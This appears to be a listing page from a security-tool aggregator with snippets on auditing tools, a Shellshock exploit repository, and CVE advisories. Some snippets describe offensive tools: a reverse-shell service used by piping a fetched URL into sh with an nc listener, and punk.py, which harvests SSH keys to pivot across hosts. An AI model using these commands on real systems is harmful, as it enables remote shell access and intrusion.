lynis

Documentation Do you like this software? Star the project and become a stargazer. lynis Lynis - Security auditing and hardening tool, for UNIX-based systems. Lynis is a security auditing tool for systems based on UNIX like Linux, macOS, BSD, and others. It performs an in-depth security scan and...

CVE-2026-54241

libde265 is an open source implementation of the h.265 video codec. Versions prior to 1.1.1 use signed 32-bit arithmetic to calculate the sample adaptive offset input-buffer size, allowing a crafted HEVC stream with large dimensions and 16-bit luma samples to cause an integer overflow, an...

Narthex

Narthex Narthex Greek: Νάρθηξ, νάρθηκας is a modular & minimal dictionary generator for Unix and Unix-like operating system written in C and Shell. It contains autonomous Unix-style programs for the creation of personalised dictionaries that can be used for password recovery & security assessment...

reverse-shell

reverse-shell 反向Shell即服务 - https://reverse-shell.sh 一个易于记忆的反向Shell，适用于大多数类Unix系统。 它会检测目标上可用的软件，并运行合适的有效载荷。 用法 1. 监听连接 在你的机器上打开一个端口并监听。你可以使用netcat轻松完成。 root@kitploit: nc -l 1337 2. 在目标上执行反向Shell 在目标机器上，将 https://reverse-shell.sh/你IP:端口 的输出通过管道传给sh。 root@kitploit: curl...

punk.py

punk.py unix SSH ポストエクスプロイテーション 1337 ツール 仕組み punk.py は、侵害された unix マシンからのネットワークピボットを支援するために設計されたポストエクスプロイテーションツールです。 unix システムからユーザー名、SSH 鍵、knownhosts を収集し、見つかった全ての組み合わせに対して SSH 接続を試みます。 punk.py は標準の Python2 と Python3 の両方のインタプリタで動作するように記述されています。 スクリーンショット 使用例 標準実行: root@kitploit: $ ./punk.py passw...

GHSA-9MR8-PWPW-3J2W vulnerabilities

Vulnerabilities for packages: dotnet-bootstrap...

CVE-2026-67325 vulnerabilities

Vulnerabilities for packages: checkov, mlflow...

CVE-2026-87732

An issue was discovered in the mirage-crypto package before 2.2.0 for OCaml. The AES.GCM.authenticatedecryptinto and Chacha20.authenticatedecryptinto functions write the decrypted plaintext into a caller-provided buffer and only then compares the tag. On a forged tag, the functions returns false,...

CVE-2026-82057

A security issue was discovered in MongoDB where an authenticated user...

GHSA-JXWJ-J7WR-GFRW vulnerabilities

Vulnerabilities for packages: tensorflow-gpu-jupyter...

CVE-2026-54874 vulnerabilities

Vulnerabilities for packages: eco-python-openssl...

Shellshock

Shellshock Exploit CVE-2014-6271 エクスプロイト 説明 このリポジトリには、Unixベースのシステムに影響を与える脆弱性のエクスプロイトが含まれています。これは教育目的で作成された概念実証スクリプトであり、責任を持って使用する必要があることに注意してください。 このエクスプロイトは、Shellshock攻撃がどのように機能し、巧妙に細工されたリクエストヘッダーを通じてシステムへのシェルアクセスを得るためにどのように使用されるかを示すために設計されています。 免責事項...

GHSA-528H-PC64-C93X vulnerabilities

Vulnerabilities for packages: kubeflow-pipelines, jitsucom-jitsu...

CVE-2026-78897 vulnerabilities

Vulnerabilities for packages: chromium...

CVE-2026-76172 vulnerabilities

Vulnerabilities for packages: keep, opensearch-dashboards, kibana, opensearch-dashboards-fips, prism, langfuse-fips, nextcloud-server, tileserver-gl, unleash, gitlab-rails-ce-fips, wazuh-dashboard-fips, tensorflow-gpu-jupyter, unleash-fips, unleash-proxy, keep-fips, vitess, langfuse,...

CVE-2026-67315 vulnerabilities

Vulnerabilities for packages: lerna, langfuse, jitsucom-jitsu, prism, nextcloud-server, kubeflow-centraldashboard, opensearch-dashboards...

CVE-2026-27878 vulnerabilities

Vulnerabilities for packages: grafana, commercial-grafana, grafana-fips...

CVE-2026-55520

Protego is a pure-Python robots.txt parser with support for modern conventions. Prior to 0.6.2, protego.urlpattern.URLPattern.preparepatternforregex translates every asterisk in an Allow or Disallow directive into a lazy regular-expression wildcard, so a directive containing many asterisks create...

CVE-2026-54548

kas is a setup tool for bitbake based projects. Prior to 5.4, internal SSH key setup triggered by SSHPRIVATEKEY or SSHPRIVATEKEYFILE creates /.ssh/config when no user-specific SSH configuration exists and adds a global Host rule containing StrictHostKeyChecking no. In kas/libcmds.py,...

CVE-2026-59981

OpenEXR is the reference implementation and specification for the EXR image file format, widely used in the motion picture industry. In versions through 3.2.10, 3.3.0 through 3.3.12, and 3.4.0 through 3.4.13, the OpenEXRUtil library returns an out-of-bounds pointer from the SampleCountChannel::ro...